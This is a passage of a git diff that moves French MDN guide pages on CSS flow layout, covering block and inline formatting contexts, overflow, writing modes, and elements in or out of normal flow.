C'est pour cela que des propriétés logiques ont fait leur apparition comme {{cssxref("block-size")}} et {{cssxref("inline-size")}}. Si on fournit inline-size: 100px sur un bloc, peu importe qu'on ait un mode d'écriture horizontal ou vertical, inline-size correspondra à la direction en ligne quoi qu'il arrive.

- -

{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-size.html", '100%', 720)}}

- -

Le module de spécification CSS sur les propriétés et valeurs logiques contient des versions logiques des propriétés contrôlant les marges, le remplissage (padding) et les bordures et d'autres correspondances pour les concepts qu'on manipulait habituellement avec des directions physiques.

- -

Résumé

- -

Dans la plupart des cas, la disposition de flux fonctionne comme on s'y attend lorsqu'on change le mode d'écriture du document ou d'une de ses parties. Les modes d'écritures peuvent être utilisés pour écrire correctement une langue ou pour des aspects créatifs. CSS facilite cette utilisation en introduisant des propriétés et des valeurs logiques qui fonctionnent de façon homogène quel que soit le mode d'écriture. On peut alors créer des composants qui fonctionneront avec différents modes d'écriture.

- -

Voir aussi

- - - -

Ressources externes

- - - -
{{QuickLinksWithSubpages("/fr/docs/Web/CSS/CSS_Flow_Layout/")}}
diff --git a/files/fr/web/css/css_flow_layout/explications_contextes_formatage/index.html b/files/fr/web/css/css_flow_layout/explications_contextes_formatage/index.html deleted file mode 100644 index 88ed84ff16..0000000000 --- a/files/fr/web/css/css_flow_layout/explications_contextes_formatage/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Explications quant aux contextes de formatage -slug: Web/CSS/CSS_Flow_Layout/Explications_contextes_formatage -tags: - - CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts ---- -
{{CSSRef}}
- -

Dans cet article, nous aborderons le concept des contextes de formatage. Ceux-ci peuvent être de dfiférents types : contextes de formatage de bloc, contextes de formatage en ligne, contextes de formatage flexibles. Nous verrons les bases de leur comportement et comment les utiliser.

- -

Sur une page web, tout s'inscrit dans un contexte de formatage, une zone qui a été définie pour être organisée d'une certaine façon. Un contexte de formatage en bloc (ou block formatting context (BFC)) organisera ses éléments fils selon une disposition en bloc, un contexte de formatage flexible organisera ses éléments fils comme des objets flexibles, etc. Chaque contexte de formatage possède des règles spécifiques qui décrivent le comportement de la disposition pour ce contexte.

- -

Le contexte de formatage de bloc

- -

L'élément html définit le contexte de formatage de bloc initial pour la page. Cela signifie que tous les éléments contenus dans <html></html> s'organisent selon le flux normal en suivant les règles de la disposition de bloc et en ligne. Les élméents qui participent à un contexte de formatage de bloc (Block formatting context ou BFC en anglais) utilisent les règles décrites par le modèle de boîte CSS qui définit la façon dont les marges, bordures et zones de remplissage (padding) d'un élément interagissent avec les autres blocs du même contexte.

- -

Créer un nouveau contexte de formatage de bloc

- -

L'élément {{HTMLElement("html")}} n'est pas le seul élément capable de créer un nouveau contexte de formatage de bloc. Des propriétés CSS peuvent également être utilisées afin de créer un contexte de formatage de bloc. Cela peut s'avérer utile car un nouveau contexte se comportera comme notre document : on aura une mini-disposition contenu dans la disposition principale. Un contexte de formatage de bloc contient tout ses éléments fils et ses descendants. Le flottement ({{cssxref("float")}}) ou le dégagement ({{cssxref("clear")}}) ne s'appliqueront qu'aux éléments d'un même contexte de formatage. Les marges ne fusionneront que pour des éléments d'un même contexte formatage.

- -

Au delà de l'élément racine du document (ici l'élément html), un nouveau contexte de formatage de bloc est créé dans les situations suivantes :

- -
    -
  • Pour les éléments flottants ({{cssxref("float")}})
    • -
  • Pour les éléments positionnés de façon absolue (y compris avec {{cssxref("position", "position: fixed", "#fixed")}} ou {{cssxref("position", "position: sticky", "#sticky")}})
    • -
  • Pour les éléments avec {{cssxref("display", "display: inline-block", "#inline-block")}}
    • -
  • Pour les cellules de tableau ou pour les éléments avec display: table-cell, y compris pour les cellules de tableau anonymes créées avec les propriétés display: table-*
    • -
  • Les légendes de tableau ou les éléments avec display: table-caption
    • -
  • Les éléments de blocs pour lesquels overflow a une valeur différente de visible
    • -
  • display: flow-root
    • -
  • Les éléments avec {{cssxref("contain", "contain: layout", "#layout")}}, content ou strict
    • -
  • Les élément flexibles
    • -
  • Les éléments de grille
    • -
  • Les conteneurs multi-colonnes
    • -
  • Les éléments avec {{cssxref("column-span")}}:all
    • -
- -

Prenons quelques exemples afin de voir les conséquences de la création d'un nouveau contexte de formatage de bloc.

- -

Dans le prochain exemple, on a un élément flottant à l'intérieur d'un élément <div> où une bordure est appliquée. Le contenu de cet élément div flotte avec l'élément flottant. Le contenu de l'élément flottant étant plus grand que le contenu environnant, la bordure du div passe sur le contenu flottant. Comme expliqué dans le guide sur les éléments appartenant ou non au flux, l'élément flottant a été retiré du flux afin que l'arrière-plan et la bordure du div ne contienne que le contenu et pas l'élément flottant.

- -

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}

- -

En créant un nouveau contexte, l'élément flottant serait contenu dans ce contexte. Par le passé, une méthode classique consistait à appliquer overflow: auto ou à utiliser d'autres valeurs que overflow: visible.

- -

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-overflow.html", '100%', 720)}}

- -

En utilisant overflow: auto, on crée un nouveau contexte de formatage de bloc qui contient l'élément flottant. Notre élément div devient en quelque sorte responsable de sa disposition interne et chaque élément enfant sera intégré dans cette disposition.

- -

Toutefois, utiliser overflow pour créer un nouveau contexte de formatage peut poser problème car la propriété overflow est avant tout conçue pour indiquer au navigateur comment on souhaite gérer le contenu qui dépasse. On peut obtenir des situations où on obtient des barres de défilement indésirables ou des ombres rognées lorsqu'on utilise principalement cette propriété pour créer un nouveau contexte. De plus, cette méthode peut ne pas être évidente et lisible pour un autre développeur et complexifier la maintenance du code associé. Si vous devez utiliser cette méthode, mieux vaudra commenter le code pour l'expliquer.

- -

Créer un contexte de formatage de bloc explicite : utiliser display: flow-root

- -

Une valeur plus récente de display permet de créer un nouveau contexte de formatage de bloc sans autre effet de bord indésirable. En utilisant display: flow-root sur le bloc englobant, on créera un nouveau contexte de formatage de bloc.

- -

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-flow-root.html", '100%', 720)}}

- -

Ainsi, en utilisant display: flow-root; sur l'élément {{HTMLElement("div")}} tout son contenu contribue au contexte de formatage de bloc et l'élément flottant n'est plus éjecté en bas de l'élément.

- -

Le nom de cette valeur, flow-root, prend son sens lorsqu'on voit que l'élément agit comme une racine (root) pour le nouveau contexte qui est créé.

- -

Un contexte de formatage en ligne

- -

Les contextes de formatage en ligne existent au sein des autres contextes de formatage et peuvent être vus comme le contexte d'un paragraphe. Un paragraphe crée un contexte de formatage en ligne au sein duquel les éléments {{HTMLElement("strong")}}, {{HTMLElement("a")}} ou {{HTMLElement("span")}} entre autres, sont utilisés sur du texte.

- -

Le modèle de boîte ne s'applique pas complètement aux objets qui s'inscrivent dans un contexte de formatage en ligne. Pour une ligne écrite avec un mode d'écriture horizontal, les remplissages (padding), bordures et marges seront appliqués à l'élément et écarteront le texte environnant à droite et ou à gauche. Le remplissage et bordures verticaux seront appliqués mais peuvent chevaucher le contenu au dessus et en dessous. Pour un contexte de formatage en ligne, les boîtes de ligne ne seront pas décalées par les bordures ou par le remplissage.

- -

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/inline.html", '100%', 720)}}

- -

Les autres contexte de formatage

- -

Ce guide porte sur la disposition de flux et n'aborde pas tous les contextes de formatage possibles en dehors de ce type de disposition. Il est important de comprendre que n'importe quel contexte de formatage modifiera la façon dont ses éléments et son contenu sont organisés. Le comportement des autres contextes de formatage est décrit dans les modules de spécification respectifs et sur MDN.

- -

Résumé

- -

Dans ce guide, nous avons approfondi les notions relatives aux contextes de formatage en ligne et de bloc. Dans le prochain guide, nous verrons les interactions entre le flux normal et les différents modes d'écriture.

- -

Voir aussi

- - - -
{{QuickLinksWithSubpages("/fr/docs/Web/CSS/CSS_Flow_Layout/")}}
diff --git a/files/fr/web/css/css_flow_layout/flow_layout_and_overflow/index.html b/files/fr/web/css/css_flow_layout/flow_layout_and_overflow/index.html new file mode 100644 index 0000000000..703af33bee --- /dev/null +++ b/files/fr/web/css/css_flow_layout/flow_layout_and_overflow/index.html @@ -0,0 +1,70 @@ +--- +title: La disposition en flux et le dépassement +slug: Web/CSS/CSS_Flow_Layout/Disposition_flux_et_dépassement +tags: + - CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow +--- +
{{QuickLinksWithSubpages("/fr/docs/Web/CSS/CSS_Flow_Layout/")}}
+ +

Lorsque le conteneur est trop petit pour son contenu, on obtient une situation de dépassement. Le comportement du dépassement est importante dès qu'on manipule des objets CSS dont la taille est contrainte. Dans ce guide, nous verrons le fonctionnement du dépassement avec le flux normal.

+ +

Qu'est-ce que le dépassement ?

+ +

Pour créer un exemple de dépassement, prenons un élément avec une hauteur et une largeur fixés puis ajoutons un contenu trop important dans la boîte :

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/overflow.html", '100%', 700)}}

+ +

Le contenu « arrive » dans la boîte puis remplit celle-ci et ensuite, il dépasse en affichant du contenu en dehors de la boîte éventuellement en dessous du contenu environnant. Pour contrôler le comportement du dépassement, on pourra utiliser la propriété overflow. La valeur initiale de cette propriété est visible et c'est pour cela qu'on voit le contenu dépasser.

+ +

Contrôler le dépassement

+ +

La propriété overflow possède d'autres valeurs qui permettent de contrôler le dépassement. Afin de masquer le contenu qui dépasse, on peut utiliser la valeur hidden. Avec cette valeur, une partie du contenu peut ne pas être visible.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/hidden.html", '100%', 700)}}

+ +

Avec la valeur scroll, le contenu est dans la boîte et des barres de défilement sont ajoutées à la boîte afin de pouvoir défiler et voir le contenu. Les barres de défilement seront ajoutées, même si le contenu « tient » dans la boîte.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/scroll.html", '100%', 700)}}

+ +

Avec la valeur auto, le contenu sera affiché sans barre de défilement s'il tient dans la boîte. S'il dépasse, des barres de défilement sont ajoutées. En comparant l'exemple précédent avec celui qui suit, on peut voir que overflow: scroll ajoute des barres de défilement verticales et horizontales (même s'il y a uniquement besoin du défilement vertical). Avec la valeur auto, seules les barres de défilement nécessaires sont ajoutées.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/auto.html", '100%', 700)}}

+ +

Comme nous l'avons vu plus tôt, toute valeur qui est différente de visible créera un nouveau contexte de formatage de bloc.

+ +
+

Note : Dans le brouillon du module de spécification Overflow de niveau 3, une valeur est ajoutée : overflow: clip. Cette valeur agira comme overflow: hidden mais ne permettra de faire défiler le contenu à l'aide de code. La boîte ne pourra pas défiler. De plus, cette valeur ne crée pas de contexte de formatage de bloc.

+
+ +

Pour être tout à fait précis, la propriété overflow est une propriété raccourcie pour les propriétés overflow-x et overflow-y. Si on fournit une valeur, celle-ci sera utilisée pour les deux axes. On peut aussi fournir deux valeurs, auquel cas la première sera utilisée pour overflow-x et la seconde pour overflow-y. Dans l'exemple qui suit, seule overflow-y: scroll est utilisée et la barre de défilement horizontale superflue n'est pas ajoutée.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/overflow-y.html", '100%', 700)}}

+ +

Les propriétés relatives

+ +

Dans le guide sur les modes d'écriture et la disposition en flux, nous avons étudié des propriétés plus récentes block-size et inline-size qui permettent de raisonner avec les modes d'écriture plutôt qu'avec les dimensions physiques de l'écran. La spécification de niveau 3 Overflow inclut également les propriétés correspondantes pour le dépassement : overflow-block et overflow-inline. Ces propriétés « logiques » correspondent aux propriétés « physiques » overflow-x et overflow-y où la correspondance varie en fonction du mode d'écriture du document.

+ +

À l'heure où nous écrivons ces lignes, ces deux propriétés ne sont pas implémentées par les navigateurs et il faut donc s'en tenir aux propriétés physiques et ajuster selon le mode d'écriture.

+ +

Gérer le dépassement

+ +

Dans la spécification de niveau 3 sur le dépassement, certaines propriétés aident à améliorer l'apparence du contenu lors d'un dépassement.

+ +

Dépassement sur l'axe en ligne

+ +

La propriété text-overflow indique comment afficher le texte qui dépasse sur l'axe en ligne. La valeur clip qui coupe le contenu qui dépasse, c'est la valeur initiale et le comportement par défaut. La valeur ellipsis permet d'afficher une ellipse qui peut être adaptée en fonction de la langue ou du mode d'écriture utilisé.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/text-overflow.html", '100%', 500)}}

+ +

Dépassement sur l'axe de bloc

+ +

Il existe également une proposition pour une propriété block-overflow. Toutefois, celle-ci (ainsi que son nom) est toujours en discussion. La proposition consisterait à pouvoir afficher une ellipse lorsque le contenu dépasse sur l'axe de bloc.

+ +

Cette propriété serait par exemple utile lorsqu'on a une liste d'article avec une boîte pour chaque article dont la hauteur est fixée. Si le texte qui dépasse est masqué, ce n'est pas nécessairement évident qu'il y a du contenu supplémentaire et qu'il faut cliquer pour le lire. Ajouter une ellipse rendrait ce dépassement plus perceptible.

+ +

Résumé

+ +

Qu'on manipule un média « continu » sur le Web ou un format paginé (impression ou EPUB), il est utile de comprendre la façon dont le dépassement agit, quelle que soit la méthode de dépassement. En comprenant comment le dépassement fonctionne avec le flux normal, ce devrait être plus simple de comprendre le fonctionnement du dépassement pour les autres méthodes comme les grilles ou les boîtes flexibles.

diff --git a/files/fr/web/css/css_flow_layout/flow_layout_and_writing_modes/index.html b/files/fr/web/css/css_flow_layout/flow_layout_and_writing_modes/index.html new file mode 100644 index 0000000000..2ecf299ce2 --- /dev/null +++ b/files/fr/web/css/css_flow_layout/flow_layout_and_writing_modes/index.html @@ -0,0 +1,90 @@ +--- +title: Disposition de flux et modes d'écriture +slug: Web/CSS/CSS_Flow_Layout/Disposition_flux_et_modes_écriture +tags: + - CSS + - Guide + - Mode d'écriture +translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes +--- +

La spécification CSS 2.1, qui décrit le comportement classique du flux normal, prend l'hypothèse d'un mode d'écriture horizontal. Les propriétés liées à la disposition devraient fonctionner de façon identique pour les modes d'écritures verticaux. Dans ce guide, nous verrons comment le flux normal se comporte selon les différents modes d'écriture.

+ +

Ce guide n'est pas un guide exhaustif sur l'utilisation des modes d'écriture en CSS. Son objectif est de documenter les interactions, éventuellement inattendues, entre le flux et les modes d'écriture. Pour plus de ressources à ce sujet, vous pouvez vour référer aux ressources externes ainsi qu'à la section Voir aussi en fin de page.

+ +

La spécification des modes d'écriture

+ +

Le module de spécification CSS Writing Modes de niveau 3 définit l'impact du mode d'écriture sur le flux. Voici l'introduction de la spécification quant aux modes d'écriture :

+ +
+

« En CSS, un mode d'écriture est défini par les propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. Ce mode est principalement défini selon sa direction en ligne (inline) et selon sa direction de bloc. »

+
+ +

La spécification définit la direction en ligne comme la direction selon laquelle le contenu est ordonné sur une ligne. Cela définit le début et la fin de la direction en ligne. Le début correspond à l'emplacement du début d'une phrase sur la ligne et la fin correspond à l'emplacement où la ligne de texte se coupe pour passer sur une nouvelle ligne.

+ +

La direction de bloc correspond à la direction selon laquelle les boîtes (ex. les paragraphes) s'empilent pour ce mode d'écriture. La propriété writing-mode contrôle la direction de bloc. Si on souhaite changer la page ou une partie de la page afin d'utiliser la direction vertical-lr, on pourra utiliser writing-mode: vertical-lr sur un élément. Cela aura pour effet de modifier la direction de bloc et, par conséquent, de modifier la direction en ligne.

+ +

Les modes d'écritures peuvent être utilisés pour respecter la façon d'écrire de certaines langues. Ils peuvent également être utilisés à des fins stylistiques (pour avoir un titre vertical par exemple).

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/creative-use.html", '100%', 720)}}

+ +

La propriété writing-mode et le flux de bloc

+ +

La propriété {{cssxref("writing-mode")}} s'utilise avec les valeurs horizontal-tb, vertical-rl et vertical-lr. Ces valeurs contrôlent la direction selon laquelle les blocs se suivent sur la page. La valeur initiale de cette propriété est horizontal-tb ce qui signifie que l'axe de bloc est dirigé de haut en bas (tb pour top to bottom qui signifie de haut en bas) et que l'axe en ligne est horizontal. Les langues qui s'écrivent de gauche à droite telles que le français ou les langues qui s'écrivent de droite à gauche telles que l'arabe utilisent toutes horizontal-tb.

+ +

Voici un exemple avec horizontal-tb.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/horizontal-tb.html", '100%', 720)}}

+ +

La valeur vertical-rl permet d'avoir une direction de bloc de droite à gauche et une direction en ligne verticale, comme on peut le voir dans l'exemple qui suit.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-rl.html", '100%', 720)}}

+ +

Dans cet autre exemple, on voit comment se comporte la troisième valeur possible pour writing-mode : vertical-lr. On a une direction de bloc horizontal de la gauche vers la droite et une direction en ligne verticale.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-lr.html", '100%', 720)}}

+ +

Les boîtes utilisant un mode d'écriture différent de leur parent

+ +

Lorsqu'une boîte imbriquée se voit affecter un mode d'écriture différent de son parent, une boîte en ligne s'affichera comme si elle avait display: inline-block.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-change-mode.html", '100%', 720)}}

+ +

Une boîte de bloc créera un nouveau contexte de formatage. Ainsi, si son type d'affichage intérieur vaut flow, le type d'affichage calculé sera flow-root. On peut voir ce comportement dans l'exemple qui suit où la boîte affichée avec horizontal-tb contient un élément flottant contenu car son élément parent crée un nouveau contexte de formatage.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/block-change-mode.html", '100%', 720)}}

+ +

Les éléments remplacés

+ +

Les éléments remplacés tels que les images ne changeront pas d'oritentation selon la valeur de la propriété writing-mode. Toutefois, les éléments remplacés tels que les éléments de formulaires qui incluent du texte devraient utiliser le mode d'écriture courant.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/replaced.html", '100%', 720)}}

+ +

Les propriétés et valeurs logiques

+ +

Lorsqu'on travaille avec des modes d'écriture autres que horizontal-tb, la plupart des propriétés et des valeurs correspondant aux dimensions physiques de l'écran semblent étranges. Ainsi, si on a une boîte qui fait 100 pixels de large, avec horizontal-tb cette largeur sera selon la direction en ligne. Mais avec le mode vertical-lr cela contrôlera la direction de bloc car elle ne tourne pas avec le texte.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/width.html", '100%', 720)}}

+ +

C'est pour cela que des propriétés logiques ont fait leur apparition comme {{cssxref("block-size")}} et {{cssxref("inline-size")}}. Si on fournit inline-size: 100px sur un bloc, peu importe qu'on ait un mode d'écriture horizontal ou vertical, inline-size correspondra à la direction en ligne quoi qu'il arrive.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-size.html", '100%', 720)}}

+ +

Le module de spécification CSS sur les propriétés et valeurs logiques contient des versions logiques des propriétés contrôlant les marges, le remplissage (padding) et les bordures et d'autres correspondances pour les concepts qu'on manipulait habituellement avec des directions physiques.

+ +

Résumé

+ +

Dans la plupart des cas, la disposition de flux fonctionne comme on s'y attend lorsqu'on change le mode d'écriture du document ou d'une de ses parties. Les modes d'écritures peuvent être utilisés pour écrire correctement une langue ou pour des aspects créatifs. CSS facilite cette utilisation en introduisant des propriétés et des valeurs logiques qui fonctionnent de façon homogène quel que soit le mode d'écriture. On peut alors créer des composants qui fonctionneront avec différents modes d'écriture.

+ +

Voir aussi

+ + + +

Ressources externes

+ + + +
{{QuickLinksWithSubpages("/fr/docs/Web/CSS/CSS_Flow_Layout/")}}
diff --git a/files/fr/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html b/files/fr/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html new file mode 100644 index 0000000000..663f0a9c8a --- /dev/null +++ b/files/fr/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html @@ -0,0 +1,68 @@ +--- +title: Être ou ne pas être dans le flux +slug: Web/CSS/CSS_Flow_Layout/Dans_le_flux_ou_en_dehors +tags: + - CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow +--- +
{{CSSRef}}
+ +

Dans le précédent guide, nous avons vu le fonctionnement de la disposition en ligne et en bloc dans le flux normal. Tous les éléments qui sont « dans » le flux seront disposés grâce à cette méthode.

+ +

Dans l'exemple qui suit, on a un titre, un paragraphe, une liste puis un paragraphe final qui contient un élément strong. Le titre et les paragraphes sont des éléments de blocs et l'élément strong est un élément en ligne. La liste est affichée en utilisant les boîtes flexibles afin d'avoir les éléments de la liste sur une même ligne mais cette liste contribue bien à la disposition en ligne et en bloc car le conteneur a un type display externe qui vaut block.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}

+ +

Dans ce cas, on peut dire que tous les éléments sont « dans le flux » et ils apparaissent sur la page selon le même ordre que le document source.

+ +

Retirer un élément du flux

+ +

Tous les éléments d'un document sont dans le flux à l'exception :

+ +
    +
  • des éléments flottants
    • +
  • des éléments avec position: absolute ou avec position: fixed
    • +
  • de l'élément racine (html)
    • +
+ +

Les éléments qui ne sont pas dans le flux créent un nouveau contexte de formatage de bloc (ou Block Formatting Context (BFC) en anglais) et tout ce qui est dans ce contexte peut être vu comme une disposition imbriquée, séparée et indépendante du reste de la page. L'élément racine est ainsi en dehors du flux car c'est le conteneur qui contient l'intégralité du document et qui fournit le contexte de formatage de bloc pour l'ensemble du document.

+ +

Les éléments flottants

+ +

Dans cet exemple, on a un élément div puis deux paragraphes. On a ajouté une couleur d'arrière-plan sur les paragraphes puis on a appliqué un flottement à gauche pour l'élément div. L'élément div est désormais en dehors du flux.

+ +

Un élément flottant est d'abord disposé à l'endroit où il aurait été dans le flux normal puis il est retiré du flux et déplacé. Ici, il est déplacé le plus à gauche possible.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}

+ +

On peut voir que la couleur du paragraphe suivant s'étend en dessous. Seules les boîtes de ligne du paragraphe ont été raccourcies et causent le passage à la ligne du contenu autour de l'élément flottant. La boîte du paragraphe s'affiche toujours selon les règles du flux normal. C'est pour cela qu''il faut ajouter une marge autour de l'élément flottant si on veut créer un espace autour. Avec une marge, on repoussera les boîtes de lignes adjacentes. Il n'est pas possible d'appliquer quoi que ce soit au contenu dans le flux pour obtenir le même effet.

+ +

Le positionnement absolu

+ +

En utilisant position: absolute ou position: fixed sur un élément, celui-ci est retiré du flux et tout l'espace qu'il aurait occupé est retiré. Dans l'exemple ci-après, on a trois paragraphes et le deuxième est ciblé avec position absolute et décalé avec les valeurs top: 30px et right: 30px. Cet élément est retiré du flux du document.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}

+ +

Utiliser position: fixed retire également un objet de flux. Dans ce cas, les décalages seront calculés relativement à la zone d'affichage (viewport) plutôt que par rapport au bloc englobant.

+ +

Lorsqu'on retire un élément du flux grâce au positionnement, il faut également gérer les cas où le contenu peut se superposer. Lorsqu'un élément est en dehors du flux, les autres éléments ne « sauront » plus qu'il est là et ne seront pas déplacés pour lui laisser la place.

+ +

Le positionnement relatif et le flux

+ +

Si on fournit un positionnement relatif en appliquant position: relative à un élément, celui-ci reste dans le flux mais on peut alors utiliser des décalages pour le déplacer. Toutefois, l'espace initialement occupé par l'élément est toujours réservé, comme on peut le voir dans l'exemple qui suit.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}

+ +

Dès qu'on retire ou qu'on décale un élément de son emplacement dans le flux normal, il faut s'attendre à devoir gérer le contenu environnant pour éviter les chevauchements. On pourra par exemple utiliser les flottements ou s'assurer que l'élément utilisant position: absolute n'est pas sur un autre contenu. C'est pour ces raisons que les méthodes qui retirent les éléments du flux doivent être utilisées avec circonspection.

+ +

Résumé

+ +

Dans ce guide, nous avons vu les différentes façons qui permettent de retirer un élément du flux afin d'obtenir certains positionnements spécifiques. Dans le prochain guide, nous verrons un concept similaire, celui de contexte de formatage de bloc dans Explications relatives aux contextes de formatage.

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_flow_layout/intro_to_formatting_contexts/index.html b/files/fr/web/css/css_flow_layout/intro_to_formatting_contexts/index.html new file mode 100644 index 0000000000..88ed84ff16 --- /dev/null +++ b/files/fr/web/css/css_flow_layout/intro_to_formatting_contexts/index.html @@ -0,0 +1,89 @@ +--- +title: Explications quant aux contextes de formatage +slug: Web/CSS/CSS_Flow_Layout/Explications_contextes_formatage +tags: + - CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts +--- +
{{CSSRef}}
+ +

Dans cet article, nous aborderons le concept des contextes de formatage. Ceux-ci peuvent être de dfiférents types : contextes de formatage de bloc, contextes de formatage en ligne, contextes de formatage flexibles. Nous verrons les bases de leur comportement et comment les utiliser.

+ +

Sur une page web, tout s'inscrit dans un contexte de formatage, une zone qui a été définie pour être organisée d'une certaine façon. Un contexte de formatage en bloc (ou block formatting context (BFC)) organisera ses éléments fils selon une disposition en bloc, un contexte de formatage flexible organisera ses éléments fils comme des objets flexibles, etc. Chaque contexte de formatage possède des règles spécifiques qui décrivent le comportement de la disposition pour ce contexte.

+ +

Le contexte de formatage de bloc

+ +

L'élément html définit le contexte de formatage de bloc initial pour la page. Cela signifie que tous les éléments contenus dans <html></html> s'organisent selon le flux normal en suivant les règles de la disposition de bloc et en ligne. Les élméents qui participent à un contexte de formatage de bloc (Block formatting context ou BFC en anglais) utilisent les règles décrites par le modèle de boîte CSS qui définit la façon dont les marges, bordures et zones de remplissage (padding) d'un élément interagissent avec les autres blocs du même contexte.

+ +

Créer un nouveau contexte de formatage de bloc

+ +

L'élément {{HTMLElement("html")}} n'est pas le seul élément capable de créer un nouveau contexte de formatage de bloc. Des propriétés CSS peuvent également être utilisées afin de créer un contexte de formatage de bloc. Cela peut s'avérer utile car un nouveau contexte se comportera comme notre document : on aura une mini-disposition contenu dans la disposition principale. Un contexte de formatage de bloc contient tout ses éléments fils et ses descendants. Le flottement ({{cssxref("float")}}) ou le dégagement ({{cssxref("clear")}}) ne s'appliqueront qu'aux éléments d'un même contexte de formatage. Les marges ne fusionneront que pour des éléments d'un même contexte formatage.

+ +

Au delà de l'élément racine du document (ici l'élément html), un nouveau contexte de formatage de bloc est créé dans les situations suivantes :

+ +
    +
  • Pour les éléments flottants ({{cssxref("float")}})
    • +
  • Pour les éléments positionnés de façon absolue (y compris avec {{cssxref("position", "position: fixed", "#fixed")}} ou {{cssxref("position", "position: sticky", "#sticky")}})
    • +
  • Pour les éléments avec {{cssxref("display", "display: inline-block", "#inline-block")}}
    • +
  • Pour les cellules de tableau ou pour les éléments avec display: table-cell, y compris pour les cellules de tableau anonymes créées avec les propriétés display: table-*
    • +
  • Les légendes de tableau ou les éléments avec display: table-caption
    • +
  • Les éléments de blocs pour lesquels overflow a une valeur différente de visible
    • +
  • display: flow-root
    • +
  • Les éléments avec {{cssxref("contain", "contain: layout", "#layout")}}, content ou strict
    • +
  • Les élément flexibles
    • +
  • Les éléments de grille
    • +
  • Les conteneurs multi-colonnes
    • +
  • Les éléments avec {{cssxref("column-span")}}:all
    • +
+ +

Prenons quelques exemples afin de voir les conséquences de la création d'un nouveau contexte de formatage de bloc.

+ +

Dans le prochain exemple, on a un élément flottant à l'intérieur d'un élément <div> où une bordure est appliquée. Le contenu de cet élément div flotte avec l'élément flottant. Le contenu de l'élément flottant étant plus grand que le contenu environnant, la bordure du div passe sur le contenu flottant. Comme expliqué dans le guide sur les éléments appartenant ou non au flux, l'élément flottant a été retiré du flux afin que l'arrière-plan et la bordure du div ne contienne que le contenu et pas l'élément flottant.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}

+ +

En créant un nouveau contexte, l'élément flottant serait contenu dans ce contexte. Par le passé, une méthode classique consistait à appliquer overflow: auto ou à utiliser d'autres valeurs que overflow: visible.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-overflow.html", '100%', 720)}}

+ +

En utilisant overflow: auto, on crée un nouveau contexte de formatage de bloc qui contient l'élément flottant. Notre élément div devient en quelque sorte responsable de sa disposition interne et chaque élément enfant sera intégré dans cette disposition.

+ +

Toutefois, utiliser overflow pour créer un nouveau contexte de formatage peut poser problème car la propriété overflow est avant tout conçue pour indiquer au navigateur comment on souhaite gérer le contenu qui dépasse. On peut obtenir des situations où on obtient des barres de défilement indésirables ou des ombres rognées lorsqu'on utilise principalement cette propriété pour créer un nouveau contexte. De plus, cette méthode peut ne pas être évidente et lisible pour un autre développeur et complexifier la maintenance du code associé. Si vous devez utiliser cette méthode, mieux vaudra commenter le code pour l'expliquer.

+ +

Créer un contexte de formatage de bloc explicite : utiliser display: flow-root

+ +

Une valeur plus récente de display permet de créer un nouveau contexte de formatage de bloc sans autre effet de bord indésirable. En utilisant display: flow-root sur le bloc englobant, on créera un nouveau contexte de formatage de bloc.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-flow-root.html", '100%', 720)}}

+ +

Ainsi, en utilisant display: flow-root; sur l'élément {{HTMLElement("div")}} tout son contenu contribue au contexte de formatage de bloc et l'élément flottant n'est plus éjecté en bas de l'élément.

+ +

Le nom de cette valeur, flow-root, prend son sens lorsqu'on voit que l'élément agit comme une racine (root) pour le nouveau contexte qui est créé.

+ +

Un contexte de formatage en ligne

+ +

Les contextes de formatage en ligne existent au sein des autres contextes de formatage et peuvent être vus comme le contexte d'un paragraphe. Un paragraphe crée un contexte de formatage en ligne au sein duquel les éléments {{HTMLElement("strong")}}, {{HTMLElement("a")}} ou {{HTMLElement("span")}} entre autres, sont utilisés sur du texte.

+ +

